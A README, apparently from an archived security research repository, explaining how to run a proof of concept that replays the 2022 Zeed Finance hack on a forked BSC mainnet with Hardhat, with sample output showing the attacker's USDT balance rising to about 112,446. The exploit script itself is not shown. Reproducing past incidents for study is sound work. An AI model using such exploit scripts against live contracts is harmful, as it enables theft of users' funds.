Skip to content
This repository has been archived by the owner on Jan 15, 2024. It is now read-only.

Latest commit

 

History

History
 
 

ZeedFinance20220422

Zeed Finance re-hack PoC

How to run

Install nodejs/npm first

Set up the forking url (in hardhat.config.ts)

e.g. https://speedy-nodes-nyc.moralis.io/your-api-key/bsc/mainnet/archive ( You need to apply for speedy-nodes from moralis.io)

Then run

npm install
npx hardhat run scripts/attack.ts

You will see similar output later

USDT balance of attacker: 0.0
Exploiting...
Exploit complete.
USDT balance of attacker: 112446.885258969301193152

This means the attack is complete

The block height of the fork is 17132514

Link